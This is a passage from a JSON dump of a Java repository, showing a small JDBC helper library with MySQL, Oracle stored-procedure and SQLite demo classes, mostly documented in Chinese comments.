e.printStackTrace();\n\t\t    } catch (SQLException e) {\n\t\t      e.printStackTrace();\n\t\t    } finally {\n\t\t      try {\n\t\t        rs.close();\n\t\t      } catch (SQLException e) {\n\t\t        e.printStackTrace();\n\t\t      }\n\t\t      try {\n\t\t        stmt.close();\n\t\t      } catch (SQLException e) {\n\t\t        e.printStackTrace();\n\t\t      }\n\t\t      try {\n\t\t        conn.close();\n\t\t      } catch (SQLException e) {\n\t\t        e.printStackTrace();\n\t\t      }\n\n\t\t    }\n\n\t\t  }\n\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdbc/src/main/java/com/jun/plugin/jdbc/bean/User.java",
    "content": "package com.jun.plugin.jdbc.bean;\n\npublic class User {\n\t\tprivate int id;\n\t\tprivate String name;\n\t\tprivate String pass;\n\t\tprivate String gender;\n\t\tprivate int age;\n\t\tpublic int getId() {\n\t\t\treturn id;\n\t\t}\n\t\tpublic void setId(int id) {\n\t\t\tthis.id = id;\n\t\t}\n\t\tpublic String getName() {\n\t\t\treturn name;\n\t\t}\n\t\tpublic void setName(String name) {\n\t\t\tthis.name = name;\n\t\t}\n\t\tpublic String getPass() {\n\t\t\treturn pass;\n\t\t}\n\t\tpublic void setPass(String pass) {\n\t\t\tthis.pass = pass;\n\t\t}\n\t\tpublic String getGender() {\n\t\t\treturn gender;\n\t\t}\n\t\tpublic void setGender(String gender) {\n\t\t\tthis.gender = gender;\n\t\t}\n\t\tpublic int getAge() {\n\t\t\treturn age;\n\t\t}\n\t\tpublic void setAge(int age) {\n\t\t\tthis.age = age;\n\t\t}\n\t\tpublic User() {\n\t\t\tsuper();\n\t\t\t// TODO Auto-generated constructor stub\n\t\t}\n\t\tpublic User(int id, String name, String pass, String gender, int age) {\n\t\t\tsuper();\n\t\t\tthis.id = id;\n\t\t\tthis.name = name;\n\t\t\tthis.pass = pass;\n\t\t\tthis.gender = gender;\n\t\t\tthis.age = age;\n\t\t}\n\t\t@Override\n\t\tpublic String toString() {\n\t\t\treturn \"User [id=\" + id + \", name=\" + name + \", pass=\" + pass\n\t\t\t\t\t+ \", gender=\" + gender + \", age=\" + age + \"]\";\n\t\t}\n\t\n\t\t\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdbc/src/main/java/com/jun/plugin/jdbc/jdbc/DataRow.java",
    "content": "package com.jun.plugin.jdbc.jdbc;\n\nimport java.math.BigDecimal;\nimport java.util.Date;\nimport java.util.HashMap;\n\npublic class DataRow extends HashMap<String, Object> {\n\n\tprivate static final long serialVersionUID = 1L;\n\n\tpublic String getString(String key) {\n\t\tif (this.get(key) instanceof String) {\n\t\t\treturn (String) this.get(key);\n\t\t}\n\t\treturn \"\";\n\t}\n\n\tpublic Integer getInt(String key) {\n\t\tif (this.get(key) instanceof Integer) {\n\t\t\treturn new Integer(this.get(key).toString());\n\t\t} else if (this.get(key) instanceof Long) {\n\t\t\treturn new Long(this.get(key).toString()).intValue();\n\t\t} else if (this.get(key) instanceof BigDecimal) {\n\t\t\treturn new BigDecimal(this.get(key).toString()).intValue();\n\t\t}\n\t\treturn null;\n\t}\n\n\tpublic Long getLong(String key) {\n\t\tObject data = this.get(key);\n\t\tif (data instanceof Long || data instanceof Integer) {\n\t\t\treturn new Long(data.toString());\n\t\t} else if (this.get(key) instanceof BigDecimal) {\n\t\t\treturn new BigDecimal(data.toString()).longValue();\n\t\t}\n\t\treturn null;\n\t}\n\n\tpublic Double getDouble(String key) {\n\t\tif (this.get(key) instanceof Double) {\n\t\t\treturn new Double(this.get(key).toString());\n\t\t} else if (this.get(key) instanceof BigDecimal) {\n\t\t\treturn new BigDecimal(this.get(key).toString()).doubleValue();\n\t\t}\n\t\treturn null;\n\t}\n\n\tpublic Date getDate(String key) {\n\t\tObject data = this.get(key);\n\t\tif (data instanceof java.sql.Date) {\n\t\t\treturn new Date(((java.sql.Date) data).getTime());\n\t\t} else if (data instanceof java.sql.Time) {\n\t\t\treturn new Date(((java.sql.Time) data).getTime());\n\t\t} else if (data instanceof java.sql.Timestamp) {\n\t\t\treturn new Date(((java.sql.Timestamp) data).getTime());\n\t\t}\n\t\treturn null;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdbc/src/main/java/com/jun/plugin/jdbc/jdbc/Jdbc.java",
    "content": "package com.jun.plugin.jdbc.jdbc;\n\nimport java.lang.reflect.Type;\nimport java.sql.Connection;\nimport java.sql.SQLException;\nimport java.util.List;\n\npublic interface Jdbc {\n\n\t/**\n\t * 不带参数执行\n\t * \n\t * @param sql\n\t * @return\n\t */\n\tint excuteUpdate(String sql) throws SQLException;\n\n\t/**\n\t * 带参数执行\n\t * \n\t * @param sql\n\t * @param params\n\t *            参数处理\n\t * @return\n\t */\n\tint excuteUpdate(String sql, ParamsHandler params) throws SQLException;\n\n\t/**\n\t * 查询,返回一条记录\n\t * \n\t * @param sql\n\t * @param handle\n\t */\n\t<T> T query(String sql, ResultHandler<T> handle) throws SQLException;\n\n\t/**\n\t * 带参数查询,返回一条记录\n\t * \n\t * @param <T>\n\t * @param sql\n\t * @param params\n\t * @param handle\n\t */\n\t<T> T query(String sql, ParamsHandler params, ResultHandler<T> handle) throws SQLException;\n\n\t/**\n\t * 带参数查询,返回多条记录\n\t * \n\t * @param <T>\n\t * @param sql\n\t * @param params\n\t * @param handle\n\t */\n\t<T> List<T> queryForList(String sql, ParamsHandler params, ResultHandler<T> handle) throws SQLException;\n\n\t/**\n\t * 带参数查询,返回多条记录\n\t * \n\t * @param <T>\n\t * @param sql\n\t * @param params\n\t * @param handle\n\t */\n\t<T> List<T> queryForList(String sql, ResultHandler<T> handle) throws SQLException;\n\n\t/**\n\t * 带参数查询结果只有一个值\n\t * @param sql\n\t * @param params\n\t * @param clazz\n\t * @return\n\t * @throws SQLException\n\t */\n\t<T> T queryUniqueResult(String sql, ParamsHandler params, Type clazz) throws SQLException;\n\n\t/**\n\t * 查询结果只有一个值\n\t * @param sql\n\t * @param clazz\n\t * @return\n\t * @throws SQLException\n\t */\n\t<T> T queryUniqueResult(String sql, Type clazz) throws SQLException;\n\n\t/**\n\t * 获得链接\n\t * \n\t * @return\n\t * @throws SQLException\n\t */\n\tConnection getConnection() throws SQLException;\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdbc/src/main/java/com/jun/plugin/jdbc/jdbc/MysqlJdbc.java",
    "content": "package com.jun.plugin.jdbc.jdbc;\n\nimport java.lang.reflect.Type;\nimport java.sql.*;\nimport java.util.ArrayList;\nimport java.util.List;\n\n/**\n * MySql数据库JDBC操作类封装\n * \n * @author Wujun\n *\n */\npublic abstract class MysqlJdbc implements Jdbc {\n\tprivate String USER;\n\tprivate String PASS;\n\tprivate String DB_URL;\n\n\tprivate Connection conn = null;\n\tprivate PreparedStatement stmt = null;\n\tprivate ResultSet rs = null;\n\n\t/**\n\t * MySQL JDBC封装\n\t * \n\t * @param host\n\t *            链接地址\n\t * @param dbName\n\t *            连接的数据库名称\n\t * @param user\n\t *            数据库用户名\n\t * @param password\n\t *            数据库用户密码\n\t * @throws ClassNotFoundException\n\t */\n\tpublic MysqlJdbc(String host, String dbName, String user, String password) {\n\t\tthis(host, null, dbName, user, password);\n\t}\n\n\t/**\n\t * MySQL JDBC封装\n\t * \n\t * @param host\n\t *            链接地址\n\t * @param port\n\t *            端口\n\t * @param dbName\n\t *            连接的数据库名称\n\t * @param user\n\t *            数据库用户名\n\t * @param password\n\t *            数据库用户密码\n\t * @throws ClassNotFoundException\n\t */\n\tpublic MysqlJdbc(String host, Integer port, String dbName, String user, String password) {\n\t\tUSER = user;\n\t\tPASS = password;\n\t\tif (port == null) {\n\t\t\tport = 3306;\n\t\t}\n\t\tDB_URL = \"jdbc:mysql://\" + host + \":\" + port + \"/\" + dbName + \"?characterEncoding=UTF-8&amp;useUnicode=true\";\n\n\t\t// 1.加载驱动\n\t\ttry {\n\t\t\tClass.forName(\"com.mysql.jdbc.Driver\");\n\t\t} catch (ClassNotFoundException e) {\n\t\t\tSystem.out.println(\"驱动加载失败!\");\n\t\t}\n\t}\n\n\t@Override\n\tpublic int excuteUpdate(String sql) throws SQLException {\n\t\treturn this.excuteUpdate(sql, null);\n\t}\n\n\t@Override\n\tpublic int excuteUpdate(String sql, ParamsHandler params) throws SQLException {\n\t\tint rs = 0;\n\t\ttry {\n\t\t\t// 加try，保证异常情况，也会释放资源\n\t\t\tstmt = getConnection().prepareStatement(sql);\n\t\t\t// 参数赋值\n\t\t\tif (params != null) {\n\t\t\t\tparams.doHandle(stmt);\n\t\t\t}\n\t\t\trs = stmt.executeUpdate();\n\t\t} catch (SQLException e) {\n\t\t\tthrow e;\n\t\t} finally {\n\t\t\tthis.close();\n\t\t}\n\t\treturn rs;\n\t}\n\n\t@Override\n\tpublic <T> T query(String sql, ResultHandler<T> handle) throws SQLException {\n\t\treturn this.query(sql, null, handle);\n\t}\n\n\t@Override\n\tpublic <T> T query(String sql, ParamsHandler params, ResultHandler<T> handle) throws SQLException {\n\t\tif (handle == null) {\n\t\t\tthrow new SQLException(\"ResultHandle is null\");\n\t\t}\n\n\t\ttry {\n\t\t\t// 2.创建连接\n\t\t\tstmt = getConnection().prepareStatement(sql);\n\t\t\t// 参数处理\n\t\t\tif (params != null) {\n\t\t\t\tparams.doHandle(stmt);\n\t\t\t}\n\t\t\tResultSet rs = stmt.executeQuery();\n\t\t\tResultSetMetaData meta = rs.getMetaData();\n\n\t\t\tDataRow data = null;\n\n\t\t\twhile (rs.next()) {\n\t\t\t\tdata =new DataRow();\n\t\t\t\tString label;\n\t\t\t\tfor (int i = 1; i <= meta.getColumnCount(); i++) {\n\t\t\t\t\tlabel = meta.getColumnLabel(i);\n\t\t\t\t\tdata.put(label, rs.getObject(label));\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\tif (data == null) {\n\t\t\t\treturn null;\n\t\t\t}\n\t\t\t// 结果的处理也是可变的\n\t\t\treturn handle.doHandle(data);\n\t\t} catch (SQLException e) {\n\t\t\tthrow e;\n\t\t} finally {\n\t\t\tthis.close();\n\t\t}\n\t}\n\n\t@Override\n\tpublic <T> List<T> queryForList(String sql, ParamsHandler params, ResultHandler<T> handle) throws SQLException {\n\t\tif (handle == null) {\n\t\t\tthrow new SQLException(\"ResultHandle is null\");\n\t\t}\n\n\t\ttry {\n\t\t\t// 2.创建连接\n\t\t\tstmt = getConnection().prepareStatement(sql);\n\n\t\t\t// 参数处理\n\t\t\tif (params != null) {\n\t\t\t\tparams.doHandle(stmt);\n\t\t\t}\n\n\t\t\tResultSet rs = stmt.executeQuery();\n\t\t\tResultSetMetaData meta = rs.getMetaData();\n\n\t\t\tList<T> list = new ArrayList<>();\n\t\t\tString label;\n\n\t\t\twhile (rs.next()) {\n\t\t\t\tDataRow data = new DataRow();\n\t\t\t\tfor (int i = 1; i <= meta.getColumnCount(); i++) {\n\t\t\t\t\tlabel = meta.getColumnLabel(i);\n\t\t\t\t\tdata.put(label, rs.getObject(label));\n\t\t\t\t}\n\t\t\t\tlist.add(handle.doHandle(data));\n\t\t\t}\n\n\t\t\treturn list;\n\t\t} catch (SQLException e) {\n\t\t\tthrow e;\n\t\t} finally {\n\t\t\tthis.close();\n\t\t}\n\t}\n\n\t@Override\n\tpublic <T> List<T> queryForList(String sql, ResultHandler<T> handle) throws SQLException {\n\t\treturn this.queryForList(sql, null, handle);\n\t}\n\n\t@SuppressWarnings(\"unchecked\")\n\t@Override\n\tpublic <T> T queryUniqueResult(String sql, ParamsHandler params, Type clazz) throws SQLException {\n\t\tif (clazz == null) {\n\t\t\tthrow new SQLException(\"Result type is null\");\n\t\t}\n\n\t\ttry {\n\t\t\t// 2.创建连接\n\t\t\tstmt = getConnection().prepareStatement(sql);\n\n\t\t\t// 参数处理\n\t\t\tif (params != null) {\n\t\t\t\tparams.doHandle(stmt);\n\t\t\t}\n\n\t\t\tResultSet rs = stmt.executeQuery();\n\n\t\t\tT result = null;\n\t\t\twhile (rs.next()) {\n\t\t\t\tresult = (T) rs.getObject(1);\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\treturn result;\n\t\t} catch (SQLException e) {\n\t\t\tthrow e;\n\t\t} finally {\n\t\t\tthis.close();\n\t\t}\n\t}\n\n\t@Override\n\tpublic <T> T queryUniqueResult(String sql, Type clazz) throws SQLException {\n\t\treturn this.queryUniqueResult(sql, null, clazz);\n\t}\n\n\t// NOTE: This uses raw DriverManager.getConnection() without connection pooling.\n\t// For production use, consider using jun_datasource module which provides\n\t// connection pools (C3P0, Druid, HikariCP).\n\t@Override\n\tpublic Connection getConnection() throws SQLException {\n\t\tif (conn == null) {\n\t\t\tconn = DriverManager.getConnection(DB_URL, USER, PASS);\n\t\t}\n\t\treturn conn;\n\t}\n\n\t/**\n\t * 释放资源\n\t */\n\tprivate void close() {\n\t\ttry {\n\t\t\t// 4.清理环境，注意顺序\n\t\t\tif (rs != null) {\n\t\t\t\trs.close();\n\t\t\t\trs = null;\n\t\t\t}\n\t\t} catch (SQLException e) {\n\t\t\tSystem.out.println(\"ResultSet关闭异常。\" + e.getMessage());\n\t\t}\n\t\t\n\t\ttry {\n\t\t\tif (stmt != null) {\n\t\t\t\tstmt.close();\n\t\t\t\tstmt = null;\n\t\t\t}\n\t\t} catch (SQLException e) {\n\t\t\tSystem.out.println(\"Statement关闭异常。\" + e.getMessage());\n\t\t}\n\t\t\n\t\ttry {\n\t\t\tif (conn != null) {\n\t\t\t\tconn.close();\n\t\t\t\tconn = null;\n\t\t\t}\n\t\t} catch (SQLException e) {\n\t\t\tSystem.out.println(\"连接关闭异常。\" + e.getMessage());\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdbc/src/main/java/com/jun/plugin/jdbc/jdbc/ObjectsParamsHandler.java",
    "content": "package com.jun.plugin.jdbc.jdbc;\n\nimport java.sql.PreparedStatement;\nimport java.sql.SQLException;\n\n/**\n * 默认参数处理器\n * \n * @author Wujun\n *\n */\npublic class ObjectsParamsHandler implements ParamsHandler {\n\n\tprivate Object[] params;\n\n\tpublic ObjectsParamsHandler(Object... objects) {\n\t\tthis.params = objects;\n\t}\n\n\t@Override\n\tpublic void doHandle(PreparedStatement stmt) throws SQLException {\n\t\tfor (int i = 1; i <= params.length; i++) {\n\t\t\tstmt.setObject(i, params[i - 1]);\n\t\t}\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdbc/src/main/java/com/jun/plugin/jdbc/jdbc/ParamsHandler.java",
    "content": "package com.jun.plugin.jdbc.jdbc;\n\nimport java.sql.PreparedStatement;\nimport java.sql.SQLException;\n\n/**\n * 参数处理\n * @author Wujun\n *\n */\npublic interface ParamsHandler {\n\n\tvoid doHandle(PreparedStatement stmt) throws SQLException;\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdbc/src/main/java/com/jun/plugin/jdbc/jdbc/ResultHandler.java",
    "content": "package com.jun.plugin.jdbc.jdbc;\n\nimport java.sql.SQLException;\n\n/**\n * 结果的处理\n * \n * @author Wujun\n *\n */\npublic interface ResultHandler<T>{\n\t\n\tT doHandle(DataRow rs) throws SQLException;\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdbc/src/main/java/com/jun/plugin/jdbc/jdbc/test/Member.java",
    "content": "package com.jun.plugin.jdbc.jdbc.test;\n\nimport java.util.Date;\n\n/**\n * 会员实体\n * @author Wujun\n *\n */\npublic class Member {\n\tprivate int id;\n\tprivate String gender;\n\tprivate int countNum;\n\tprivate String telephone;\n\tprivate String mno;\n\tprivate String uname;\n\tprivate Date birthDay;\n\n\tpublic void setId(int id) {\n\t\tthis.id = id;\n\t}\n\n\tpublic int getId() {\n\t\treturn id;\n\t}\n\n\tpublic String getGender() {\n\t\treturn gender;\n\t}\n\n\tpublic void setGender(String gender) {\n\t\tthis.gender = gender;\n\t}\n\n\tpublic int getCountNum() {\n\t\treturn countNum;\n\t}\n\n\tpublic void setCountNum(int countNum) {\n\t\tthis.countNum = countNum;\n\t}\n\n\tpublic String getTelephone() {\n\t\treturn telephone;\n\t}\n\n\tpublic void setTelephone(String telephone) {\n\t\tthis.telephone = telephone;\n\t}\n\n\tpublic String getMno() {\n\t\treturn mno;\n\t}\n\n\tpublic void setMno(String mno) {\n\t\tthis.mno = mno;\n\t}\n\n\tpublic String getUname() {\n\t\treturn uname;\n\t}\n\n\tpublic void setUname(String uname) {\n\t\tthis.uname = uname;\n\t}\n\n\tpublic Date getBirthDay() {\n\t\treturn birthDay;\n\t}\n\n\tpublic void setBirthDay(Date birthDay) {\n\t\tthis.birthDay = birthDay;\n\t}\n\n\tpublic void print() {\n\t\tSystem.out.print(\"会员卡号:\" + this.getMno());\n\t\tSystem.out.print(\"\\t姓名：\" + this.getUname());\n\t\tSystem.out.println(\"\\t积分：\" + this.getCountNum());\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdbc/src/main/java/com/jun/plugin/jdbc/jdbc/test/MemberDbControl.java",
    "content": "package com.jun.plugin.jdbc.jdbc.test;\n\nimport java.sql.Date;\nimport java.sql.PreparedStatement;\nimport java.sql.SQLException;\nimport java.util.List;\n\nimport com.jun.plugin.jdbc.jdbc.MysqlJdbc;\nimport com.jun.plugin.jdbc.jdbc.ObjectsParamsHandler;\nimport com.jun.plugin.jdbc.jdbc.ParamsHandler;\n\n/**\n * 会员数据操作\n * \n * @author Wujun\n *\n */\npublic class MemberDbControl extends MysqlJdbc {\n\n\tpublic MemberDbControl() throws ClassNotFoundException {\n\t\tsuper(\"localhost\", \"supermartket\", \"root\", \"root\");\n\t}\n\n\t/**\n\t * 添加会员(执行带参数SQL语句)\n\t * \n\t * @param m\n\t * @return\n\t * @throws SQLException\n\t */\n\tpublic int addMember(final Member m) throws SQLException {\n\t\tString sql = \"insert into member ( `gender`, `countNum`, `telepone`, `mno`, `uname`, `birthday`) values ( ?,?,?,?,?,?)\";\n\t\treturn this.excuteUpdate(sql, new ParamsHandler() {\n\t\t\t@Override\n\t\t\tpublic void doHandle(PreparedStatement stmt) throws SQLException {\n\t\t\t\tstmt.setString(1, m.getGender());\n\t\t\t\tstmt.setInt(2, m.getCountNum());\n\t\t\t\tstmt.setString(3, m.getTelephone());\n\t\t\t\tstmt.setString(4, m.getMno());\n\t\t\t\tstmt.setString(5, m.getUname());\n\t\t\t\tstmt.setDate(6, new Date(m.getBirthDay().getTime()));\n\t\t\t}\n\t\t});\n\t}\n\n\t/**\n\t * 积分清零(执行不带参数的SQL语句)\n\t * \n\t * @return\n\t * @throws SQLException\n\t */\n\tpublic int clearCountNum() throws SQLException {\n\t\tString sql = \"update member set countNum = 0\";\n\t\treturn this.excuteUpdate(sql);\n\t}\n\n\t/**\n\t * 查询所有会员(没有带参数的查询)\n\t * \n\t * @return\n\t * @throws SQLException\n\t */\n\tpublic List<Member> findAll() throws SQLException {\n\t\tString sql = \"select * from member\";\n\t\treturn this.queryForList(sql, new MemberResultHander());\n\t}\n\n\t/**\n\t * 查询积分大于指定值得会员\n\t * \n\t * @param minCountNum\n\t *            积分下线\n\t * @return\n\t * @throws SQLException\n\t */\n\tpublic List<Member> findMemerByCountNum(int minCountNum) throws SQLException {\n\t\tString sql = \"select * from member where countNum >= ?\";\n\t\treturn this.queryForList(sql, new ObjectsParamsHandler(minCountNum), new MemberResultHander());\n\t}\n\n\t/**\n\t * 返回单挑记录的查询\n\t * @param id\n\t * @return\n\t * @throws SQLException\n\t */\n\tpublic Member getMemberById(int id) throws SQLException {\n\t\tString sql = \"select * from member where id = ?\";\n\t\treturn this.query(sql, new ObjectsParamsHandler(id), new MemberResultHander());\n\t}\n\n\t/**\n\t * 只需要返回一个结果字段的查询\n\t * @return\n\t * @throws SQLException\n\t */\n\tpublic Long getTotalMemeber() throws SQLException {\n\t\tString sql = \"select count(1) from member\";\n\t\treturn this.queryUniqueResult(sql, Long.class);\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdbc/src/main/java/com/jun/plugin/jdbc/jdbc/test/MemberResultHander.java",
    "content": "package com.jun.plugin.jdbc.jdbc.test;\n\nimport java.lang.reflect.InvocationTargetException;\nimport java.sql.SQLException;\n\nimport org.apache.commons.beanutils.BeanUtils;\n\nimport com.jun.plugin.jdbc.jdbc.DataRow;\nimport com.jun.plugin.jdbc.jdbc.ResultHandler;\n\n/**\n * 会员参数处理器\n * @author Wujun\n *\n */\npublic class MemberResultHander implements ResultHandler<Member> {\n\n\t@Override\n\tpublic Member doHandle(DataRow rs) throws SQLException {\n\t\tMember m = new Member();\n\t\ttry {\n\t\t\tBeanUtils.copyProperties(m, rs);\n\t\t} catch (IllegalAccessException | InvocationTargetException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn m;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdbc/src/main/java/com/jun/plugin/jdbc/jdbc/test/Test.java",
    "content": "package com.jun.plugin.jdbc.jdbc.test;\n\nimport java.sql.*;\nimport java.util.List;\n\npublic class Test {\n\n\tpublic static void main(String[] args) {\n\t\ttry {\n\t\t\tMemberDbControl mdb = new MemberDbControl();\n\t\t\tMember m = new Member();\n\t\t\tm.setBirthDay(new java.util.Date());\n\t\t\tm.setCountNum(100);\n\t\t\tm.setGender(\"女\");\n\t\t\tm.setUname(\"王八\");\n\t\t\tm.setMno(\"m111100\");\n\t\t\tm.setTelephone(\"13838388383\");\n\t\t\tint rs = mdb.addMember(m);\n\t\t\tSystem.out.println(rs > 0 ? \"创建成功！\" : \"操作失败！\");\n\n\t\t\tList<Member> members = mdb.findAll();\n\t\t\tif (members.isEmpty()) {\n\t\t\t\tSystem.out.println(\"没有查询到数据\");\n\t\t\t} else {\n\t\t\t\tfor (Member member : members) {\n\t\t\t\t\tmember.print();\n\t\t\t\t}\n\t\t\t}\n\t\t\tSystem.out.println();\n\t\t\t// 查询积分大于等于400分的会员\n\t\t\tmembers = mdb.findMemerByCountNum(400);\n\t\t\tif (members.isEmpty()) {\n\t\t\t\tSystem.out.println(\"没有查询到数据\");\n\t\t\t} else {\n\t\t\t\tfor (Member member : members) {\n\t\t\t\t\tmember.print();\n\t\t\t\t}\n\t\t\t}\n\t\t\t// 把所有会员的积分归零\n\t\t\tmdb.clearCountNum();\n\n\t\t\tm = mdb.getMemberById(1);\n\t\t\tSystem.out.println(m.getUname());\n\t\t\t\n\t\t\tSystem.out.println(\"总会员数：\"+mdb.getTotalMemeber());\n\t\t} catch (ClassNotFoundException e) {\n\t\t\te.printStackTrace();\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdbc/src/main/java/com/jun/plugin/jdbc/jdbc2/CallProdouce.java",
    "content": "package com.jun.plugin.jdbc.jdbc2;\n\nimport java.sql.CallableStatement;\nimport java.sql.Connection;\nimport java.sql.ResultSet;\nimport java.sql.Types;\n\nimport oracle.jdbc.OracleTypes;\n\npublic class CallProdouce {\n\tstatic CallableStatement cs = null;\n\tstatic ResultSet rs = null;\n\tpublic static void main(String[] args) {\n\t\tConnection conn = null;\n\t\tString sql = \"{call add_pro(?,?,?)}\";\n\t\ttry {\n\t\t\tconn = JdbcUtil.getConnection();\n\t\t\tcs = conn.prepareCall(sql);\n\t\t\tcs.setInt(1,100);\n\t\t\tcs.setInt(2,200);\n\t\t\tcs.registerOutParameter(3,Types.INTEGER);\n\t\t\tboolean flag = cs.execute();\n\t\t\tSystem.out.println(\"flag=\"+flag);\n\t\t\tint sum = cs.getInt(3);\n\t\t\tSystem.out.println(\"sum=\"+sum);\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}finally{\n\t\t}\n\t}\n\t\n\t\n\t/*\n\t * 对应的存储过程语句 --有参数无返回值 create or replace procedure updateName(byNo in\n\t * number,useName in varchar2) as begin update emp e set e.ename = useName\n\t * where e.empno = byNo; end;\n\t */\n\tpublic void callProcedureY(Connection conn) throws Exception {\n\t\t// 指定调用的存储过程\n\t\tcs = conn.prepareCall(\"{call updateName(?,?)}\");\n\t\tcs.setInt(1, 7499);// 设置存储过程对应的输入参数\n\t\tcs.setString(2, \"www\");// 对应下标从1 开始\n\t\t// 执行存储过程调用\n\t\tcs.execute();\n\t}\n\n\t/**\n\t * \n\t * @Discription 执行无参数，无返回值的存储过程\n\t * @return void\n\t * @param conn\n\t * @throws Exception\n\t */\n\t/*\n\t * 对应的存储过程语句 --无参数 create or replace procedure insertLine as begin insert\n\t * into emp\n\t * values(7333,'ALLEN','SAL',7698,to_date('2011/11/11','yyyy-MM-dd'),1600,\n\t * 300,30); end;\n\t */\n\tpublic void callProcedure(Connection conn) throws Exception {\n\t\t// 指定调用的存储过程\n\t\tcs = conn.prepareCall(\"{call insertLine}\");\n\t\t// 执行存储过程的调用\n\t\tcs.execute();\n\t}\n\n\t/**\n\t * \n\t * @Discription 执行有参数，有返回值的存储过程\n\t * @return void\n\t * @param conn\n\t * @throws Exception\n\t */\n\t/*\n\t * 对应的存储过程语句 --有参数，有返回值 create or replace procedure deleteLine(byNo in\n\t * number,getCount out number) as begin delete from emp e where e.empno =\n\t * byNo; select count(*) into getCount from emp e; end;\n\t */\n\tpublic void callProcedureYY(Connection conn) throws Exception {\n\t\t// 指定调用的存储过程\n\t\tcs = conn.prepareCall(\"{call deleteLine(?,?)}\");\n\t\t// 设置参数\n\t\tcs.setInt(1, 7839);\n\t\t// 这里需要配置OUT的参数新型\n\t\tcs.registerOutParameter(2, OracleTypes.NUMBER);\n\t\t// 执行调用\n\t\tcs.execute();\n\t\t// 输入返回值\n\t\tSystem.out.println(cs.getString(2));\n\t}\n\n\t/**\n\t * \n\t * @Discription 执行有参数，返回集合的存储过程\n\t * @return void\n\t * @param conn\n\t * @throws Exception\n\t */\n\t/*\n\t * 对应的存储过程语句 --有参数返回一个列表，使用package create or replace package someUtils as\n\t * type cur_ref is ref cursor; procedure selectRows(cur_ref out\n\t * someUtils.cur_ref); end someUtils; create or replace package body\n\t * someUtils as procedure selectRows(cur_ref out someUtils.cur_ref) as begin\n\t * open cur_ref for select * from emp e; end selectRows; end someUtils;\n\t */\n\tpublic void callProcedureYYL(Connection conn) throws Exception {\n\t\t// 执行调用的存储过程\n\t\tcs = conn.prepareCall(\"{call someUtils.selectRows(?)}\");\n\t\t// 设置返回参数\n\t\tcs.registerOutParameter(1, OracleTypes.CURSOR);\n\t\t// 执行调用\n\t\tcs.execute();\n\t\t// 获取结果集 结果集是一个Object类型，需要进行强制转换 rs = (ResultSet)\n\t\trs = (ResultSet) cs.getObject(1);\n\t\t// 输出返回值\n\t\twhile (rs.next()) {\n\t\t\tSystem.out.println(rs.getInt(1) + \"\\t\" + rs.getString(2));\n\t\t}\n\t}\n\n\t/**\n\t * \n\t * @Discription 执行有参数的函数\n\t * @return void\n\t * @param conn\n\t * @throws Exception\n\t */\n\t/*\n\t * 对应的存储过程语句 --创建函数，有参数 create or replace function useOther(byNo in number)\n\t * return String as returnValue char(10); begin select count(*) into\n\t * returnValue from emp e where e.empno > byNo; return returnValue; end;\n\t */\n\tpublic void callProcedureFY(Connection conn) throws Exception {\n\t\t// 指定调用的函数\n\t\tcs = conn.prepareCall(\"{? = call useOther(?)}\");\n\t\t// 配置OUT参数信息\n\t\tcs.registerOutParameter(1, OracleTypes.CHAR);\n\t\t// 配置输入参数\n\t\tcs.setInt(2, 1111);\n\t\t// 执行过程调用\n\t\tcs.execute();\n\t\t// 输入返回值\n\t\tSystem.out.println(cs.getString(1));\n\t}\n\n\t \n}\n\n\n\n\n\n"
  },
  {
    "path": "jun_java_plugins/jun_jdbc/src/main/java/com/jun/plugin/jdbc/jdbc2/JdbcSqlite.java",
    "content": "package com.jun.plugin.jdbc.jdbc2;\n\nimport java.sql.Connection;\nimport java.sql.DriverManager;\nimport java.sql.PreparedStatement;\nimport java.sql.ResultSet;\nimport java.sql.Statement;\n\n/**\n * @author Wujun\n */\npublic class JdbcSqlite {\n\tpublic static void main(String[] args) {\n\t\t// TODO Auto-generated method stub\n\t\ttry {\n\t\t\t// 0 连接SQLite的JDBC\n\t\t\tString sql = \"jdbc:sqlite://e:/tim.db\";\n\t\t\tClass.forName(\"org.sqlite.JDBC\");\n\t\t\t// 1 建立一个数据库名zieckey.db的连接，如果不存在就在当前目录下创建之\n\t\t\tConnection conn = DriverManager.getConnection(sql);\n\t\t\tStatement stat = conn.createStatement();\n\t\t\t// 2 创建一个表tbl1，录入数据\n\t\t\tstat.executeUpdate(\"drop table if exists tbl1;\");\n\t\t\tstat.executeUpdate(\"create table if not exists tbl1(name varchar(20), salary int);\");// 创建一个表，两列\n\t\t\tstat.executeUpdate(\"insert into tbl1 values('ZhangSan',8000);\"); // 插入数据\n\t\t\tstat.executeUpdate(\"insert into tbl1 values('LiSi',7800);\");\n\t\t\tstat.executeUpdate(\"insert into tbl1 values('WangWu',5800);\");\n\t\t\tstat.executeUpdate(\"insert into tbl1 values('ZhaoLiu',9100);\");\n\t\t\tResultSet rs = stat.executeQuery(\"select * from tbl1;\"); // 查询数据\n\t\t\tSystem.out.println(\"创建表结构录入数据操作演示：\");\n\t\t\twhile (rs.next()) { // 将查询到的数据打印出来\n\t\t\t\tSystem.out.print(\"name = \" + rs.getString(\"name\") + \", \"); // 列属性一\n\t\t\t\tSystem.out.println(\"salary = \" + rs.getString(\"salary\")); // 列属性二\n\t\t\t}\n\t\t\trs.close();\n\t\t\t// 3 修改表结构，添加字段 address varchar(20) default 'changsha';\n\t\t\tstat.executeUpdate(\"alter table tbl1 add column address varchar(20) not null default 'changsha'; \");// 创建一个表，两列\n\t\t\tstat.executeUpdate(\"insert into tbl1 values('HongQi',9000,'tianjing');\"); // 